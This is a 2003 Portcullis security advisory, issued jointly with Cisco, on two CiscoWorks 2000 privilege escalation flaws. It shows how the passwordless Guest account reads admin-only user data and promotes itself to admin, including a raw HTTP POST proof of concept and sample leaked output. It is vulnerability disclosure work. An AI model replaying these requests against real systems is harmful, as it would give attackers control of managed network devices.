Date: Wed, 13 Aug 2003 15:50:03 +0100
From: [email protected]
To: [email protected], [email protected]Subject: Portcullis Security Advisory: CiscoWorks 2000 Privilege Escalatio n Vulnerabilities
Portcullis Security Advisory
CiscoWorks 2000 Priviledge Escalation Vulnerability
Vulnerability discovery and development:=20
[email protected]
Affected systems:=20
Ciscoworks 2000
Details:
Portcullis have discovered that using the default Guest account=20
which has no password set, that it is possible to view page information
that the user should not have access to.
Whilst requesting certain pages the raw HTTP shows a statement
of who the logged on user is:
HTTP/1.1 200 OK=20
Date: Tue, 01 Jul 2003 13:01:12 GMT=20
Server: Apache/1.3.24 (Unix) mod_perl/1.26=20
Content-Length: 5=20
Connection: close=20
Content-Type: text/html =20
guest
By replacing guest with admin and using POST to sent on the information,=20
(for the Modify\delete users page) the system responds with information
on all the users on the site IE:
user1::::7 user2::::2 portcullis:[email protected]:::3F admin::::F
guest::admin::0
This allows Guest to then view information restricted to the Admin account
on all users on the system.
Impact:
Users are able to view information restricted to Administrators
Exploit:
As described in Details, edit raw HTML requests and replace user with a
known one of higher privileges.
Vendor Status:
Vendor Confirmed.
Following discussions with the vendor, Portcullis agreed to joint
advisories. The Cisco advisory can be found at the following URL.=20
http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml
Portcullis Security Advisory
CiscoWorks 2000 Privilege Escalation Vulnerability
Vulnerability discovery and development:=20
[email protected]
Affected systems:=20
Ciscoworks 2000
Details:
Portcullis have discovered that using the default Guest account=20
which has no password set, that it is possible to elevate the Guest
users privileges to the equivalent of Admin. Following this a new user
account can be created with full rights and complete access to the=20
systems managed by Ciscoworks. =20
When submitting changes to the user account, the raw HTML shows=20
the users information in the following string:
cmd=3DmodifyUser&name=3Dguest&pwd=3DcGFzc3dvcmQ%3D&email=3Dtest%0test.com&c=
coId=3D&cco
Pwd=3D&proxyId=3D&proxyPwd=3D&priviledges=3D0
>From information obtained it is possible to change the users privileges from
0 to F where F is the code for Admin rights.
The Guest account can now create a new user with all available security
options.
Impact:
Once access has been achieved, an attacker has complete control over
all Cisco devices managed by Ciscoworks.=20
Exploit:
The following is provided as proof of concept. =20
POST /CSCOnm/servlet/com.cisco.nm.cmf.servlet.CsAuthServlet HTTP/1.0=20
Accept-Language: en=20
Content-Type: application/x-www-form-urlencoded=20
Accept: text/html, image/gif, image/jpeg, *; q=3D.2, */*; q=3D.2=20
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)=20
Host: 10.10.10.1:1741=20
Content-Length: 114=20
Proxy-Connection: Keep-Alive=20
Pragma: no-cache=20
Cookie: jrunsessionid=3D1057059156201223367 =20
cmd=3DmodifyUser&name=3Dguest&pwd=3D&email=3D&ccoId=3D&ccoPwd=3D&proxyId=3D=
&proxyPwd=3D&priv
iledges=3D0
Vendor Status:
Vendor Confirmed.
Following discussions with the vendor, Portcullis agreed to joint
advisories. The Cisco advisory can be found at the following URL.=20
http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml
Copyright =A9 Portcullis Computer Security Limited 2003, All rights reserved
worldwide.
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